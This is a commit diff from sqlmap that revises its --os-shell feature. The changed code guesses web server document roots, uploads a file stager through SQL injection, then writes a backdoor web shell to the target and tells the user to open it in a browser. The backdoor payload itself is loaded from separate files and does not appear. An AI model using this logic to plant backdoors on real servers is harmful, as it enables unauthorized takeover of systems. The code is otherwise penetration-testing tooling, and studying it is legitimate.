major revisit of --os-shell methods

This commit is contained in:
Miroslav Stampar 2011-01-23 20:47:06 +00:00
parent ff7707579f
commit b18397fbc7
2 changed files with 121 additions and 115 deletions

View File

@ -204,17 +204,14 @@ def paramToDict(place, parameters=None):
return testableParameters return testableParameters
def getDocRoot(webApi=None): def getDocRoot():
docRoot = None docRoot = None
pagePath = directoryPath(conf.path) pagePath = directoryPath(conf.path)
if kb.os == "Windows": if kb.os == "Windows":
if webApi in ("php", "jsp"): defaultDocRoot = ["C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"]
defaultDocRoot = "C:/xampp/htdocs/"
else: else:
defaultDocRoot = "C:/Inetpub/wwwroot/" defaultDocRoot = ["/var/www/"]
else:
defaultDocRoot = "/var/www/"
if kb.absFilePaths: if kb.absFilePaths:
for absFilePath in kb.absFilePaths: for absFilePath in kb.absFilePaths:
@ -227,7 +224,7 @@ def getDocRoot(webApi=None):
if isWindowsPath(absFilePath): if isWindowsPath(absFilePath):
absFilePathWin = posixToNtSlashes(absFilePath) absFilePathWin = posixToNtSlashes(absFilePath)
absFilePath = ntToPosixSlashes(absFilePath[2:]) absFilePath = ntToPosixSlashes(absFilePath[2:])
elif isWindowsDriveLetterPath(absFilePath): # E.g. C:/xampp/htdocs elif isWindowsDriveLetterPath(absFilePath):
absFilePath = absFilePath[2:] absFilePath = absFilePath[2:]
if pagePath in absFilePath: if pagePath in absFilePath:
@ -252,53 +249,43 @@ def getDocRoot(webApi=None):
logger.warn(warnMsg) logger.warn(warnMsg)
message = "please provide the web server document root " message = "please provide the web server document root "
message += "[%s]: " % defaultDocRoot message += "[%s]: " % ",".join(root for root in defaultDocRoot)
inputDocRoot = readInput(message, default=defaultDocRoot) inputDocRoot = readInput(message, default=defaultDocRoot)
if inputDocRoot: if inputDocRoot:
if isinstance(inputDocRoot, basestring):
docRoot = inputDocRoot.split(',')
else:
docRoot = inputDocRoot docRoot = inputDocRoot
else: else:
docRoot = defaultDocRoot docRoot = defaultDocRoot
return docRoot return docRoot
def getDirs(webApi=None): def getDirs():
directories = set() directories = set("/")
if kb.os == "Windows":
if webApi in ("php", "jsp"):
defaultDirs = ["C:/xampp/htdocs/"]
else:
defaultDirs = ["C:/Inetpub/wwwroot/"]
else:
defaultDirs = ["/var/www/"]
if kb.docRoot and kb.docRoot not in defaultDirs:
defaultDirs.append(kb.docRoot)
if kb.absFilePaths: if kb.absFilePaths:
infoMsg = "retrieved web server full paths: " infoMsg = "retrieved web server full paths: "
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths) infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
logger.info(infoMsg) logger.info(infoMsg)
for absFilePath in kb.absFilePaths: for absFilePath in kb.absFilePaths:
if absFilePath: if absFilePath:
directory = directoryPath(absFilePath) directory = directoryPath(absFilePath)
if isWindowsPath(directory):
directory = ntToPosixSlashes(directory) directory = ntToPosixSlashes(directory)
if directory == '/':
continue
directories.add(directory) directories.add(directory)
else: else:
warnMsg = "unable to retrieve any web server path" warnMsg = "unable to retrieve any web server path"
logger.warn(warnMsg) logger.warn(warnMsg)
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
directories.add(webDir)
message = "please provide any additional web server full path to try " message = "please provide any additional web server full path to try "
message += "to upload the agent [%s]: " % ",".join(directory for directory in defaultDirs) message += "to upload the agent [Enter for None]: "
inputDirs = readInput(message, default=",".join(directory for directory in defaultDirs)) inputDirs = readInput(message)
if inputDirs: if inputDirs:
inputDirs = inputDirs.replace(", ", ",") inputDirs = inputDirs.replace(", ", ",")
@ -307,8 +294,6 @@ def getDirs(webApi=None):
for inputDir in inputDirs: for inputDir in inputDirs:
if inputDir: if inputDir:
directories.add(inputDir) directories.add(inputDir)
else:
[directories.add(directory) for directory in defaultDirs]
return directories return directories

View File

@ -173,8 +173,8 @@ class Web:
self.webApi = choices[int(choice) - 1] self.webApi = choices[int(choice) - 1]
break break
kb.docRoot = getDocRoot(self.webApi) kb.docRoot = getDocRoot()
directories = getDirs(self.webApi) directories = getDirs()
directories = list(directories) directories = list(directories)
directories.sort() directories.sort()
@ -185,41 +185,60 @@ class Web:
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
for directory in directories: warned = set()
# Upload the file stager success = False
self.__webFileInject(stagerContent, stagerName, directory)
requestDir = ntToPosixSlashes(directory)
if not requestDir: for i in xrange(len(kb.docRoot)):
if success:
break
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
continue continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
if requestDir[-1] != '/': # '' or '/' -> 'docRoot'
requestDir += '/' if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
uriPath = uriPath.replace("//", "/")
requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/") localPath = localPath.rstrip('/')
uriPath = uriPath.rstrip('/')
if isWindowsDriveLetterPath(requestDir): # Upload the file stager
requestDir = requestDir[2:] self.__webFileInject(stagerContent, stagerName, localPath)
requestDir = normalizePath(requestDir).replace("//", "/") self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
if requestDir[0] != '/':
requestDir = '/' + requestDir
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName) self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
if "sqlmap file uploader" not in uplPage: if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager " warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory warnMsg += "on '%s'" % localPath
logger.warn(warnMsg) logger.warn(warnMsg)
warned.add(localPath)
continue continue
elif "<%" in uplPage or "<?" in uplPage: elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded " warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl) warnMsg += "on '%s' but not dynamically interpreted" % uriPage
logger.warn(warnMsg) logger.warn(warnMsg)
continue continue
@ -228,7 +247,7 @@ class Web:
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded " infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl) infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
logger.info(infoMsg) logger.info(infoMsg)
if self.webApi == "asp": if self.webApi == "asp":
@ -255,7 +274,7 @@ class Web:
continue continue
else: else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory): if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if kb.os == "Windows" else localPath):
warnMsg = "backdoor has not been successfully uploaded " warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "with file stager probably because of " warnMsg += "with file stager probably because of "
warnMsg += "lack of write permission." warnMsg += "lack of write permission."
@ -266,16 +285,18 @@ class Web:
getOutput = readInput(message, default="N") getOutput = readInput(message, default="N")
if getOutput in ("y", "Y"): if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, directory) self.__webFileInject(backdoorContent, backdoorName, localPath)
else: else:
continue continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = directory self.webDirectory = localPath
infoMsg = "the backdoor has probably been successfully " infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
logger.info(infoMsg) logger.info(infoMsg)
success = True
break break